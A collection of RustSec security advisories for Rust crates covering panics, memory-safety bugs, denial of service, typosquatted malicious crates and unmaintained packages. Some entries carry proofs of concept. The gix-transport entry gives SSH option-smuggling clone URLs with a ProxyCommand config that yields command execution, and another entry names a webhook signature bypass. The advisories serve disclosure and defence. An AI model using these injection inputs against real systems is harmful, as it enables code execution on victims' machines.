Consider using [fluke-hpack](https://crates.io/crates/fluke-hpack) or
[httlib-huffman](https://crates.io/crates/httlib-huffman).


Summary: HPACK decoder panics on invalid input

Due to insufficient checking of input data, decoding certain data sequences can
lead to _Decoder::decode_ panicking rather than returning an error.

Example code that triggers this vulnerability looks like this:

```rust
use hpack::Decoder;

pub fn main() {
  let input = &[0x3f];
  let mut decoder = Decoder::new();
  let _ = decoder.decode(input);
}
```

hpack is unmaintained. A crate with the panics fixed has been published as
[hpack-patched](https://crates.io/crates/hpack-patched).

Also consider using [fluke-hpack](https://crates.io/crates/fluke-hpack) or
[httlib-huffman](https://crates.io/crates/httlib-huffman) as an alternative.


Summary: Multiple soundness issues

`RUSTSEC-2024-0377` contains multiple soundness issues:

 1. [Bytes::read() allows creating instances of types with invalid bit patterns](https://github.com/Alexhuszagh/rust-lexical/issues/102)
 1. [BytesIter::read() advances iterators out of bounds](https://github.com/Alexhuszagh/rust-lexical/issues/101)
 1. [The `BytesIter` trait has safety invariants but is public and not marked `unsafe`](https://github.com/Alexhuszagh/rust-lexical/issues/104)
 1. [`write_float()` calls `MaybeUninit::assume_init()` on uninitialized data, which is is not allowed by the Rust abstract machine](https://github.com/Alexhuszagh/rust-lexical/issues/95)
 1. [`radix()` calls `MaybeUninit::assume_init()` on uninitialized data, which is is not allowed by the Rust abstract machine](https://github.com/Alexhuszagh/rust-lexical/issues/126)

Version 1.0 fixes these issues, removes the vast majority of `unsafe` code, and also fixes some correctness issues.


Summary: `MaybeUninit` misuse in `simd-json-derive`

An invalid use of `MaybeUninit::uninit().assume_init()` in `simd-json-derive`'s derive macro can cause undefined behavior. The original code used `MaybeUninit` to avoid initialisation of the struct and then set the fields using `ptr::write`. The undefined behavior triggered by this misuse of `MaybeUninit` can lead to invlaid memory access and panics in binaries compiled in release mode (aka simd-json-derive prior to version 0.12 has UB and optimizes into some nonsense)

The `0.12.0` removes this section of code, avoiding the use of MaybeUninit alltogether.


Summary: `loopdev` crate is unmaintained; use 'loopdev-3` instead.

The `loopdev` crate was last released in Oct, 2021. It has been unable to
build in Fedora 38 and above since April, 2023.

The `loopdev-3` crate is a maintained fork:

https://github.com/stratis-storage/loopdev-3


Summary: atomic-polyfill is unmaintained

The author has archived the GitHub repository and mentions deprecation in
project's
[README](https://github.com/embassy-rs/atomic-polyfill/blob/48e55c166684f37af0b00fbee5a0809b1a2bae8e/README.md).

## Possible alternatives

 * [portable-atomic](https://crates.io/crates/portable-atomic)


Summary: Guest-controlled out-of-bounds read/write on x86\_64

This is an entry in the RustSec database for the Wasmtime security advisory
located at
https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-ff4p-7xrq-q5r8.
For more information see the GitHub-hosted security advisory.


Summary: Miscompilation of wasm `i64x2.shr_s` instruction with constant input on x86\_64

This is an entry in the RustSec database for the Wasmtime security advisory
located at
https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-gw5p-q8mj-p7gh.
For more information see the GitHub-hosted security advisory.


Summary: Undefined Behavior in Rust runtime functions

This is an entry in the RustSec database for the Wasmtime security advisory
located at
https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-ch89-5g45-qwc7.
For more information see the GitHub-hosted security advisory.


Summary: Miscompilation of `i8x16.select` with the same inputs on x86\_64

This is an entry in the RustSec database for the Wasmtime security advisory
located at
https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-xm67-587q-r2vw.
For more information see the GitHub-hosted security advisory.


Summary: `martin-mbtiles` has been renamed to `mbtiles`

Please use the `mbtiles` crate going forward.


Summary: Invalid Slice Split Results in Server Panic

A vulnerability was discovered in the odoh-rs rust crate that stems
from faulty logic during the parsing of encrypted queries. This
issue specifically occurs when processing encrypted query data
received from remote clients.

## Impact

An attacker with knowledge of this vulnerability could craft and send
specially designed encrypted queries to targeted ODOH servers running
with odoh-rs. Upon successful exploitation, the server will crash
abruptly, disrupting its normal operation and rendering the service
temporarily unavailable.

## Patches

Users are encouraged to update their odoh-rs's rust crate to v1.0.2.


Summary: Plaintext exposed in decrypt_in_place_detached even on tag verification failure

## Summary

In the AES GCM implementation of decrypt_in_place_detached,
the decrypted ciphertext (i.e. the correct plaintext) is
exposed even if tag verification fails.

## Impact

If a program using the aes-gcm crate's decrypt_in_place*
APIs accesses the buffer after decryption failure, it will
contain a decryption of an unauthenticated input. Depending
on the specific nature of the program this may enable
Chosen Ciphertext Attacks (CCAs) which can cause a
catastrophic breakage of the cipher including full
plaintext recovery.

## Details

As seen in the implementation of decrypt_in_place_detached for
AES GCM, if the tag verification fails, an error is returned.
Because the decryption of the ciphertext is done in place,
the plaintext contents are now exposed via buffer.

This should ideally not be the case - as noted in page 17 of
NIST's publication Recommendation for Block Cipher Modes of
Operation: Galois/Counter Mode (GCM) and GMAC:

In Step 8, the result of Step 7 is compared with the
authentication tag that was received as an input: if
they are identical, then the plaintext is returned;
otherwise,FAIL is returned.

This is seems correctly addressed in the AES GCM SIV
implementation, where the decrypted buffer is encrypted
again before the error is returned - this fix is
straightforward to implement in AES GCM. To ensure that
these types of cases are covered during testing, it
would be valuable to add test cases like 23, 24 etc
from project wycheproof to ensure that when a bad tag
is used, there is an error on decryption and that the
plaintext value is not exposed.

## PoC

To reproduce this issue, I'm using test case 23 from
project wycheproof.

```
    let key = GenericArray::from_slice(&hex!("000102030405060708090a0b0c0d0e0f"));
    let nonce = GenericArray::from_slice(&hex!("505152535455565758595a5b"));
    let tag = GenericArray::from_slice(&hex!("d9847dbc326a06e988c77ad3863e6083")); // bad tag
    let mut ct = hex!("eb156d081ed6b6b55f4612f021d87b39");
    let msg = hex!("202122232425262728292a2b2c2d2e2f");
    let aad = hex!("");
    let cipher = Aes128Gcm::new(&key);
    let _plaintext = cipher.decrypt_in_place_detached(&nonce, &aad, &mut ct, &tag);
    assert_eq!(ct, msg);
```


Summary: `lazystatic` was removed from crates.io for malicious code

This crate was part of a typosquatting malware cluster published by the malicious user `amaperf` and contained a malware payload in build.rs to exfiltrate host information to the attacker.

This advisory is to retrospectively document this attempted attack. The version information and download records of the malicious crate are no longer available. The related malicious crates have been yanked, and the malicious account has been banned.

Thanks to [Veracode](https://www.veracode.com/) (formerly phylum)for
reporting this to the crates.io team!


Summary: `if-cfg` was removed from crates.io for malicious code


Summary: `envlogger` was removed from crates.io for malicious code


Summary: `xrvrv` was removed from crates.io for malicious code


Summary: `oncecell` was removed from crates.io for malicious code


Summary: `serd` was removed from crates.io for malicious code


Summary: `postgress` was removed from crates.io for malicious code


Summary: `littest` was removed from crates.io for malicious code

This crate was part of a typosquatting malware cluster published by the
malicious user `http-tiny` and contained a malware payload in `build.rs` to
exfiltrate host information to the attacker.

This advisory is to retrospectively document this attempted attack. The version
information and download records of the malicious crate are no longer
available. The related malicious crates have been yanked, and the malicious
account has been banned.

Thanks to Louis Lang at [Phylum] (now [Veracode]) for reporting this malware
campaign.

[Phylum]: https://phylum.io/
[Veracode]: https://www.veracode.com/


Summary: `windowsservice` was removed from crates.io for malicious code

This crate was part of a typosquatting malware cluster published by the user
`TerryDavisSoldier` to run an arbitrary malware payload on Windows hosts.

This advisory is to retrospectively document this attempted attack. The version
information and download records of the malicious crate are no longer
available. The related malicious crates have been yanked, and the malicious
account has been banned.


Summary: `lfest-main` was removed from crates.io for malicious code

This crate was part of a typosquatting malware cluster published by the user
`Kraded` to run an arbitrary malware payload on Windows hosts.

This advisory is to retrospectively document this attempted attack. The version
information and download records of the malicious crate are no longer
available. The related malicious crates have been yanked, and the malicious
account has been banned.


Summary: `lasso-rs` was removed from crates.io for malicious code


Summary: `tauri-win-rt-notification` was removed from crates.io for malicious code

This crate was part of a typosquatting malware cluster published by the user
`gabielle55131` to run an arbitrary malware payload on Windows hosts.

This advisory is to retrospectively document this attempted attack. The version
information and download records of the malicious crate are no longer
available. The related malicious crates have been yanked, and the malicious
account has been banned.


Summary: `win-crypto` was removed from crates.io for malicious code


Summary: `postgresderive` was removed from crates.io for malicious code

This crate was part of a typosquatting malware cluster published by the
malicious user `amaperf` and contained a malware payload in `build.rs` to
exfiltrate host information to the attacker.

This advisory is to retrospectively document this attempted attack. The version
information and download records of the malicious crate are no longer
available. The related malicious crates have been yanked, and the malicious
account has been banned.

Thanks to Louis Lang at [Phylum] (now [Veracode]) for reporting this malware
campaign.

[Phylum]: https://phylum.io/
[Veracode]: https://www.veracode.com/


Summary: `monero-api` was removed from crates.io for malicious code


Summary: `monero-rpc-rs` was removed from crates.io for malicious code


Summary: `win-base64-rs` was removed from crates.io for malicious code


Summary: `tiny-server` was removed from crates.io for malicious code


Summary: `acceptxmr-rs` was removed from crates.io for malicious code


Summary: `registry-win` was removed from crates.io for malicious code


Summary: `tauri-winrt-notifications` was removed from crates.io for malicious code


Summary: `win_run_rs` was removed from crates.io for malicious code


Summary: `openvpn-plugin-rs` was removed from crates.io for malicious code


Summary: `windows-service-rs` was removed from crates.io for malicious code


Summary: `libusb1-main` was removed from crates.io for malicious code


Summary: `winx-rs` was removed from crates.io for malicious code


Summary: `hann-rs-service` was removed from crates.io for malicious code


Summary: `bit-flags` was removed from crates.io for malicious code

This crate was part of a typosquatting malware cluster published by the user
`alexrichton` to run an arbitrary malware payload on Windows hosts.

This advisory is to retrospectively document this attempted attack. The version
information and download records of the malicious crate are no longer
available. The related malicious crates have been yanked, and the malicious
account has been banned.


Summary: Logs AWS credentials when TRACE-level logging is enabled

aws-sigv4 is a rust library for low level request signing in the aws cloud platform.

The `aws_sigv4::SigningParams` struct had a derived `Debug` implementation.
When debug-formatted, it would include a user's AWS access key, AWS secret key,
and security token in plaintext. When TRACE-level logging is enabled for an SDK,
`SigningParams` is printed, thereby revealing those credentials to anyone
with access to logs.

All users of the AWS SDK for Rust who enabled TRACE-level logging,
either globally (e.g. `RUST_LOG=trace`), or for the `aws-sigv4`
crate specifically are affected.

This issue has been addressed in a set of new releases.

Users are advised to upgrade.

Users unable to upgrade should disable TRACE-level logging for AWS Rust SDK crates.


Summary: Unsound use of str::from_utf8_unchecked on bytes which are not UTF-8

Affected versions receive a `&[u8]` from the caller through a safe API, and pass
it directly to the unsafe `str::from_utf8_unchecked` function.

The behavior of `ferris_says::say` is undefined if the bytes from the caller
don't happen to be valid UTF-8.

The flaw was corrected in [ferris-says#21] by using the safe `str::from_utf8`
instead, and returning an error on invalid input. However this fix has not yet
been published to crates.io as a patch version for 0.2.

Separately, [ferris-says#32] has introduced a different API for version 0.3
which accepts input as `&str` rather than `&[u8]`, so is unaffected by this bug.

[ferris-says#21]: https://github.com/rust-lang/ferris-says/pull/21
[ferris-says#32]: https://github.com/rust-lang/ferris-says/pull/32


Summary: `serde` deserialization for `FamStructWrapper` lacks bound checks that could potentially lead to out-of-bounds memory access

## Impact

An issue was discovered in the `FamStructWrapper::deserialize` implementation
provided by the crate for `vmm_sys_util::fam::FamStructWrapper`, which can lead
to out of bounds memory accesses. The deserialization does not check that the
length stored in the header matches the flexible array length. Mismatch in the
lengths might allow out of bounds memory access through Rust-safe methods.

Impacted versions: >= 0.5.0

## Patches

The issue was corrected in version 0.12.0 by inserting a check that verifies
the lengths of compared flexible arrays are equal for any deserialized header
and aborting deserialization otherwise. Moreover, the API was changed so that
header length can only be modified through Rust-unsafe code. This ensures that
users cannot trigger out-of-bounds memory access from Rust-safe code.


Summary: Resource exhaustion vulnerability in h2 may lead to Denial of Service (DoS)

An attacker with an HTTP/2 connection to an affected endpoint can send a steady stream of invalid frames to force the
generation of reset frames on the victim endpoint.
By closing their recv window, the attacker could then force these resets to be queued in an unbounded fashion,
resulting in Out Of Memory (OOM) and high CPU usage.

This fix is corrected in [hyperium/h2#737](https://github.com/hyperium/h2/pull/737), which limits the total number of
internal error resets emitted by default before the connection is closed.


Summary: `cosmwasm` is unmaintained

The crate `cosmwasm` is [not used anymore] since spring 2020.
The functionality was split in multiple different crates, such as the standard library `cosmwasm-std` and the virtual machine `cosmwasm-vm`. An overview can be found in the [cosmwasm repository].

If you have this crate in your dependency tree, this is very likely by mistake and should be corrected.

[not used anymore]: https://github.com/CosmWasm/cosmwasm/issues/1430
[cosmwasm repository]: https://github.com/CosmWasm/cosmwasm


Summary: Unsound sending of non-Send types across threads

Affected versions can run the `Drop` impl of a non-Send type on a different
thread than it was created on.

The flaw occurs when a stderr write performed by the `threadalone` crate fails,
for example because stderr is redirected to a location on a filesystem that is
full, or because stderr is a pipe that has been closed by the reader.

Dropping a non-Send type on the wrong thread is unsound. If used with a type
such as a pthread-based `MutexGuard`, [the consequence is undefined
behavior][mutexguard]. If used with `Rc`, there would be a data race on the
reference count, which is likewise undefined behavior.

[mutexguard]: https://github.com/rust-lang/rust/issues/23465#issuecomment-82730326


Summary: Multiple issues involving quote API

## Issue 1: Failure to quote characters

Affected versions of this crate allowed the bytes `{` and `\xa0` to appear
unquoted and unescaped in command arguments.

If the output of `quote` or `join` is passed to a shell, then what should be a
single command argument could be interpreted as multiple arguments.

This does not *directly* allow arbitrary command execution (you can't inject a
command substitution or similar).  But depending on the command you're running,
being able to inject multiple arguments where only one is expected could lead
to undesired consequences, potentially including arbitrary command execution.

The flaw was corrected in version 1.2.1 by escaping additional characters.
Updating to 1.3.0 is recommended, but 1.2.1 offers a more minimal fix if
desired.

Workaround: Check for the bytes `{` and `\xa0` in `quote`/`join` input or
output.

(Note: `{` is problematic because it is used for glob expansion.  `\xa0` is
problematic because it's treated as a word separator in [specific
environments][solved-xa0].)

## Issue 2: Dangerous API w.r.t. nul bytes

Version 1.3.0 deprecates the `quote` and `join` APIs in favor of `try_quote`
and `try_join`, which behave the same except that they have `Result` return
type, returning `Err` if the input contains nul bytes.

Strings containing nul bytes generally cannot be used in Unix command arguments
or environment variables, and most shells cannot handle nul bytes even
internally.  If you try to pass one anyway, then the results might be
security-sensitive in uncommon scenarios.  [More details here.][nul-bytes]

Due to the low severity, the behavior of the original `quote` and `join` APIs
has not changed; they continue to allow nuls.

Workaround: Manually check for nul bytes in `quote`/`join` input or output.

## Issue 3: Lack of documentation for interactive shell risks

The `quote` family of functions does not and cannot escape control characters.
With non-interactive shells this is perfectly safe, as control characters have
no special effect.  But if you writing directly to the standard input of an
interactive shell (or through a pty), then control characters [can cause
misbehavior including arbitrary command injection.][control-characters]

This is essentially unfixable, and has not been patched.  But as of version
1.3.0, documentation has been added.

Future versions of `shlex` may add API variants that avoid the issue at the
cost of reduced portability.

[solved-xa0]: https://docs.rs/shlex/latest/shlex/quoting_warning/index.html#solved-xa0
[nul-bytes]: https://docs.rs/shlex/latest/shlex/quoting_warning/index.html#nul-bytes
[control-characters]: https://docs.rs/shlex/latest/shlex/quoting_warning/index.html#control-characters-interactive-contexts-only

shlex::bytes::join shlex::bytes::quote shlex::join shlex::quote


Summary: Use-after-free when setting the locale

Version 3.0.0 introduced an `AtomicStr` type, that is used to store the current locale.
It stores the locale as a raw pointer to an `Arc<String>`.
The locale can be read with `AtomicStr::as_str()`.
`AtomicStr::as_str()` does not increment the usage counter of the `Arc`.

If the locale is changed in one thread, another thread can have a stale -- possibly already freed --
reference to the stored string.


Summary: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')

### Summary
Insufficient validation of outbound header values may lead to request splitting or response splitting attacks in scenarios where attackers have sufficient control over outbound headers.

### Details
Outbound `trillium_http::HeaderValue` and `trillium_http::HeaderName` can be constructed infallibly and were not checked for illegal bytes when sending requests. Thus, if an attacker has sufficient control over header values (or names) in a request that they could inject `\r\n` sequences, they could get the client and server out of sync, and then pivot to gain control over other parts of requests or responses. (i.e. exfiltrating data from other requests, SSRF, etc.)

### Patches

#### trillium-client >= 0.5.4:
* If any header name or header value is invalid in the client request headers, awaiting the client Conn returns an `Error::MalformedHeader` prior to any network access.

### Workarounds

trillium client applications should sanitize or validate untrusted input that is included in header values and header names. Carriage return, newline, and null characters are not allowed.

### Impact

This only affects use cases where attackers have control of outbound headers, and can insert "\r\n" sequences. Specifically, if untrusted and unvalidated input is inserted into header names or values.

### Credit

Discovered and reported by [@divergentdave](https://github.com/divergentdave)


### Summary
Insufficient validation of outbound header values may lead to request splitting or response splitting attacks in scenarios where attackers have sufficient control over outbound headers.

### Details
Outbound `trillium_http::HeaderValue` and `trillium_http::HeaderName` can be constructed infallibly and were not checked for illegal bytes when sending responses from the server. Thus, if an attacker has sufficient control over header values (or names) in an outbound response that they could inject `\r\n` sequences, they could get the client and server out of sync, and then pivot to gain control over other parts of requests or responses. (i.e. exfiltrating data from other requests, SSRF, etc.)

### Patches

#### trillium-http >= 0.3.12:
* If a header name is invalid in server response headers, the specific header and any associated values are omitted from network transmission.
* If a header value is invalid in server response headers, the individual header value is omitted from network transmission. Other headers values with the same header name will still be sent.

### Workarounds

trillium services should sanitize or validate untrusted input that is included in header values and header names. Carriage return, newline, and null characters are not allowed.

### Impact

This only affects use cases where attackers have control of outbound headers, and can insert "\r\n" sequences. Specifically, if untrusted and unvalidated input is inserted into header names or values.

### Credit

Discovered and reported by [@divergentdave](https://github.com/divergentdave)


Summary: Improper comparison of different-length signatures

The `Webhook::verify` function incorrectly compared signatures of
different lengths - the two signatures would only be compared up to
the length of the shorter signature. This allowed an attacker to
pass in `v1,` as the signature, which would always pass verification.


Summary: Unauthenticated Nonce Increment in snow

There was a logic bug where unauthenticated payloads could still cause a nonce
increment in snow's internal state. For an attacker with privileges to inject
packets into the channel over which the Noise session operates, this could
allow a denial-of-service attack which could prevent message delivery by
sending garbage data.

Note that this only affects those who are using the stateful TransportState,
not those using StatelessTransportState.

This has been patched in version 0.9.5, and all users are recommended to
update.


Summary: Stack overflow during recursive JSON parsing

When parsing untrusted, deeply nested JSON, the stack may overflow,
possibly enabling a Denial of Service attack.
This was fixed by adding a check for recursion depth.


Summary: Memory corruption, denial of service, and arbitrary code execution in libgit2

The [libgit2](https://github.com/libgit2/libgit2/) project fixed three security issues in the 1.7.2 release. These issues are:

* The `git_revparse_single` function can potentially enter an infinite loop on a well-crafted input, potentially causing a Denial of Service. This function is exposed in the `git2` crate via the [`Repository::revparse_single`](https://docs.rs/git2/latest/git2/struct.Repository.html#method.revparse_single) method.
* The `git_index_add` function may cause heap corruption and possibly lead to arbitrary code execution. This function is exposed in the `git2` crate via the [`Index::add`](https://docs.rs/git2/latest/git2/struct.Index.html#method.add) method.
* The smart transport negotiation may experience an out-of-bounds read when a remote server did not advertise capabilities.

The `libgit2-sys` crate bundles libgit2, or optionally links to a system libgit2 library. In either case, versions of the libgit2 library less than 1.7.2 are vulnerable. The 0.16.2 release of `libgit2-sys` bundles the fixed version of 1.7.2, and requires a system libgit2 version of at least 1.7.2.

It is recommended that all users upgrade.


Summary: `generational-arena` is unmaintained

The `generational-arena` crate's repository has been archived and is no longer maintained.

## Alternatives
 - [slotmap](https://crates.io/crates/slotmap)


Summary: filesystem-rs may be implicitly unmaintained

The last release was over 5 years ago, and the last commit was over 4 years ago.

The maintainer(s) have not responded to a pull request to update dependencies that are themselves unmaintained, and which poses the question of maintenance.


Summary: dav1d AV1 decoder integer overflow

An integer overflow in dav1d AV1 decoder that can occur when decoding videos with large frame size. This can lead to memory corruption within the AV1 decoder. We recommend upgrading to version 0.7.0 of libdav1d-sys, which includes dav1d 1.4.0


Summary: Non-idiomatic use of iterators leads to use after free

Code that attempts to use an item (e.g., a row) returned by an iterator after the iterator has advanced to the next item will be accessing freed memory and experience undefined behaviour. Code that uses the item and then advances the iterator is unaffected. This problem has always existed.

This is a use-after-free bug, so it's rated high severity. If your code uses a pre-3.0.0 version of cassandra-rs, and uses an item returned by a cassandra-rs iterator after calling `next()` on that iterator, then it is vulnerable. However, such code will almost always fail immediately - so we believe it is unlikely that any code using this pattern would have reached production. For peace of mind, we recommend you upgrade anyway.

## Patches

The problem has been fixed in version 3.0.0 (commit 299e6ac50f87eb2823a373baec37b590a74994ee). Users should upgrade to ensure their code cannot use the problematic pattern. There is an upgrade guide in the project README.

## Workarounds

Ensure all usage fits the expected pattern. For example, use `get_first_row()` rather than an iterator, or completely process an item before advancing the iterator with `next()`.


Summary: ObjectPool creates uninitialized memory when freeing objects

As of version 0.6.0, the ObjectPool explicitly creates an uninitialized instance of its
type parameter when it attempts to free an object, and swaps it into the storage. This
causes instant undefined behavior due to reading the uninitialized memory in order to
write it to the pool storage.

Extremely basic usage of the crate can trigger this issue, e.g. this code from a doctest:

```rust
use crayon::prelude::*;
application::oneshot().unwrap();

let mut params = MeshParams::default();

let mesh = video::create_mesh(params, None).unwrap();

// Deletes the mesh object.
video::delete_mesh(mesh); // <-- UB
```

The Clippy warning for this code was silenced in commit c2fde19caf6149d91faa504263f0bc5cafc35de5.

Discovered via https://asan.saethlin.dev/ub?crate=crayon&version=0.7.1


Summary: Tokens for named pipes may be delivered after deregistration

## Impact

When using named pipes on Windows, mio will under some circumstances return invalid tokens that correspond to named pipes that have already been deregistered from the mio registry. The impact of this vulnerability depends on how mio is used. For some applications, invalid tokens may be ignored or cause a warning or a crash. On the other hand, for applications that store pointers in the tokens, this vulnerability may result in a use-after-free.

For users of Tokio, this vulnerability is serious and can result in a use-after-free in Tokio.

The vulnerability is Windows-specific, and can only happen if you are using named pipes. Other IO resources are not affected.

## Affected versions

This vulnerability has been fixed in mio v0.8.11.

All versions of mio between v0.7.2 and v0.8.10 are vulnerable.

Tokio is vulnerable when you are using a vulnerable version of mio AND you are using at least Tokio v1.30.0. Versions of Tokio prior to v1.30.0 will ignore invalid tokens, so they are not vulnerable.

## Workarounds

Vulnerable libraries that use mio can work around this issue by detecting and ignoring invalid tokens.

## Technical details

When an IO resource registered with mio has a readiness event, mio delivers that readiness event to the user using a user-specified token. Mio guarantees that when an IO resource is [deregistered](https://docs.rs/mio/latest/mio/struct.Registry.html#method.deregister), then it will never return the token for that IO resource again. However, for named pipes on windows, mio may sometimes deliver the token for a named pipe even though the named pipe has been previously deregistered.

This vulnerability was originally reported in the Tokio issue tracker: [tokio-rs/tokio#6369](https://github.com/tokio-rs/tokio/issues/6369)
This vulnerability was fixed in: [tokio-rs/mio#1760](https://github.com/tokio-rs/mio/pull/1760)

Thank you to [@rofoun](https://github.com/rofoun) and [@radekvit](https://github.com/radekvit) for discovering and reporting this issue.


Summary: Stack buffer overflow with whoami on several Unix platforms

With versions of the whoami crate >= 0.5.3 and < 1.5.0, calling any of these functions leads to an
immediate stack buffer overflow on illumos and Solaris:

- `whoami::username`
- `whoami::realname`
- `whoami::username_os`
- `whoami::realname_os`

With versions of the whoami crate >= 0.5.3 and < 1.0.1, calling any of the above functions also
leads to a stack buffer overflow on these platforms:

- Bitrig
- DragonFlyBSD
- FreeBSD
- NetBSD
- OpenBSD

This occurs because of an incorrect definition of the `passwd` struct on those platforms.

As a result of this issue, denial of service and data corruption have both been observed in the
wild. The issue is possibly exploitable as well.

This vulnerability also affects other Unix platforms that aren't Linux or macOS.

This issue has been addressed in whoami 1.5.0.

For more information, see [this GitHub issue](https://github.com/ardaku/whoami/issues/91).

illumos solaris dragonfly freebsd netbsd openbsd


Summary: Parts of Report are dropped as the wrong type during downcast

In affected versions, after a `Report` is constructed using `wrap_err` or
`wrap_err_with` to attach a message of type `D` onto an error of type `E`, then
using `downcast` to recover ownership of either the value of type `D` or the
value of type `E`, one of two things can go wrong:

- If downcasting to `E`, there remains a value of type `D` to be dropped. It is
  incorrectly "dropped" by running `E`'s drop behavior, rather than `D`'s. For
  example if `D` is `&str` and `E` is `std::io::Error`, there would be a call of
  `std::io::Error::drop` in which the reference received by the `Drop` impl does
  not refer to a valid value of type `std::io::Error`, but instead to `&str`.

- If downcasting to `D`, there remains a value of type `E` to be dropped. When
  `D` and `E` do not happen to be the same size, `E`'s drop behavior is
  incorrectly executed in the wrong location. The reference received by the
  `Drop` impl may point left or right of the real `E` value that is meant to be
  getting dropped.

In both cases, when the `Report` contains an error `E` that has nontrivial drop
behavior, the most likely outcome is memory corruption.

When the `Report` contains an error `E` that has trivial drop behavior (for
example a `Utf8Error`) but where `D` has nontrivial drop behavior (such as
`String`), the most likely outcome is that downcasting to `E` would leak `D`.


Summary: yaml-rust is unmaintained.

The maintainer seems [unreachable](https://github.com/chyh1990/yaml-rust/issues/197).

Many issues and pull requests have been submitted over the years
without any [response](https://github.com/chyh1990/yaml-rust/issues/160).

## Alternatives

Consider switching to the actively maintained `yaml-rust2` fork of the original project:

- [yaml-rust2](https://github.com/Ethiraric/yaml-rust2)
- [yaml-rust2 @ crates.io](https://crates.io/crates/yaml-rust2)


Summary: Puccinier is unmainted.

The tool has been deprecated in favor of Catppuccin's new tool, [whiskers](https://github.com/catppuccin/toolbox/tree/main/whiskers) [(crates.io)](https://crates.io/crates/catppuccin-whiskers).


Summary: Degradation of service in h2 servers with CONTINUATION Flood

An attacker can send a flood of CONTINUATION frames, causing `h2` to process them indefinitely.
This results in an increase in CPU usage.

Tokio task budget helps prevent this from a complete denial-of-service, as the server can still
respond to legitimate requests, albeit with increased latency.

More details at "https://seanmonstar.com/blog/hyper-http2-continuation-flood/.

Patches available for 0.4.x and 0.3.x versions.


Summary: `rsa-export` is unmaintained

This crate has been deprecated in favour of using the native support for exporting RSA keys into the standard PEM format.
See [docs.rs documentation].

In addition to that, the operations in this crate (arithmetic and Base64 encoding) are not done in constant-time,
potentially [exposing the user to sidechannel attacks].

[docs.rs documentation]: https://docs.rs/rsa/0.9.6/rsa/index.html#pkcs8-rsa-key-encoding
[exposing the user to sidechannel attacks]: https://arxiv.org/pdf/2108.04600.pdf


Summary: `libp2p-tokio-socks5` is unmaintained

Note the repository was archived without an issue so we link directly
to the commit that marked the repository as unmaintained.

To the best of the original authors knowledge the crate has no
vulnerabilities as of the last release, it is just unmaintained due to
laziness - new maintainer welcome.


Summary: gix-transport indirect code execution via malicious username

### Summary

`gix-transport` does not check the username part of a URL for text that the external `ssh` program would interpret as an option. A specially crafted clone URL can smuggle options to SSH. The possibilities are syntactically limited, but if a malicious clone URL is used by an application whose current working directory contains a malicious file, arbitrary code execution occurs.

The first `gix` crate with the fix [is version 0.62.0](https://crates.io/crates/gix/0.62.0), and the first fixed `gix` CLI is [version 0.35](https://github.com/Byron/gitoxide/releases/tag/v0.35.0). `gix-transport` [at version v0.42](https://crates.io/crates/gix-transport/0.42.0) is the lowest-level plumbing crate with the fix.

### Details

This is related to the patched vulnerability [RUSTSEC-2023-0064](https://rustsec.org/advisories/RUSTSEC-2023-0064.html), but appears less severe due to a greater attack complexity. Since <https://github.com/Byron/gitoxide/pull/1032>, `gix-transport` checks the host and path portions of a URL for text that has a `-` in a position that will cause `ssh` to interpret part of all of the URL as an option argument. But it does not check the non-mandatory username portion of the URL.

As in Git, when an address is a URL of the form `ssh://username@hostname/path`, or when it takes the special form `username@hostname:dirs/repo`, this is treated as an SSH URL. `gix-transport` will replace some characters in `username` with their `%`-based URL encodings, but otherwise passes `username@hostname` as an argument to the external `ssh` command. This happens even if `username` begins with a hyphen. In that case, `ssh` treats that argument as an option argument, and attempts to interpret and honor it as a sequence of one or more options possibly followed by an operand for the last option.

This is harder to exploit than [RUSTSEC-2023-0064](https://rustsec.org/advisories/RUSTSEC-2023-0064.html), because the possibilities are constrained by:

- The difficulty of forming an option argument `ssh` accepts, given that characters such as `=`, `/`, and `\`, are URL-encoded, `:` is removed, and the argument passed to `ssh` contains the `@` sign and subsequent host identifier, which in an effective attack must be parseable as a suffix of the operand passed to the last option.

  The inability to include a literal `=` prevents the use of `-oNAME=VALUE` (e.g., `-oProxyCommand=payload`). The inability to include a literal `/` or `\` prevents smuggling in a path operand residing outside the current working directory, including on Windows. (Although a `~` character may be smuggled in, `ssh` does not perform its own tilde expansion, so it does not form an absolute path.)

- The difficulty, or perhaps impossibility, of completing a connection (other than when arbitrary code execution has been achieved). This complicates or altogether prevents the use of options such as `-A` and `-X` together with a connection to a real but malicious server. The reason a connection cannot generally be completed when exploiting this vulnerability is that, because the argument `gix-transport` intends as a URL is treated as an option argument, `ssh` treats the subsequent non-option argument `git-upload-pack` as the host instead of the command, but it is not a valid host name.

  Although `ssh` supports aliases for hosts, even if `git-upload-pack` could be made an alias, that is made difficult by the URL-encoding transformation.

However, an attacker who is able to cause a specially named `ssh` configuration file to be placed in the current working directory can smuggle in an `-F` option referencing the file, and this allows arbitrary command execution.

This scenario is especially plausible because programs that operate on git repositories are often run in untrusted git repositories, sometimes even to operate on another repository. Situations where this is likely, such that an attacker could predict or arrange it, may for some applications include a malicious repository with a malicious submodule configuration.

Other avenues of exploitation exist, but appear to be less severe. For example, the `-E` option can be smuggled to create or append to a file in the current directory (or its target, if it is a symlink). There may also be other significant ways to exploit this that have not yet been discovered, or that would arise with new options in future versions of `ssh`.

### PoC

To reproduce the known case that facilitates arbitrary code execution, first create a file in the current directory named `configfile@example.com`, of the form

```text
ProxyCommand payload
```

where `payload` is a command with an observable side effect. On Unix-like systems, this could be `date | tee vulnerable` or an `xdg-open`, `open`, or other command command to launch a graphical application. On Windows, this could be the name of a graphical application already in the search path, such as `calc.exe`.

(Although the syntax permitted in the value of `ProxyCommand` may vary by platform, this is not limited to running commands in the current directory. That limitation only applies to paths directly smuggled in the username, not to the contents of a separate malicious configuration file. Arbitrary other settings may be specified in `configfile@example.com` as well.)

Then run:

```sh
gix clone 'ssh://-Fconfigfile@example.com/abc'
```

Or:

```sh
gix clone -- '-Fconfigfile@example.com:abc/def'
```

(The `--` is required to ensure that `gix` is really passing the argument as a URL for use in `gix-transport`, rather than interpreting it as an option itself, which would not necessarily be a vulnerability.)

In either case, the payload specified in `configfile@example.com` runs, and its side effect can be observed.

Other cases may likewise be produced, in either of the above two forms of SSH addresses. For example, to create or append to the file `errors@example.com`, or to create or append to its target if it is a symlink:

```sh
gix clone 'ssh://-Eerrors@example.com/abc'
```

```sh
gix clone -- '-Eerrors@example.com:abc/def'
```

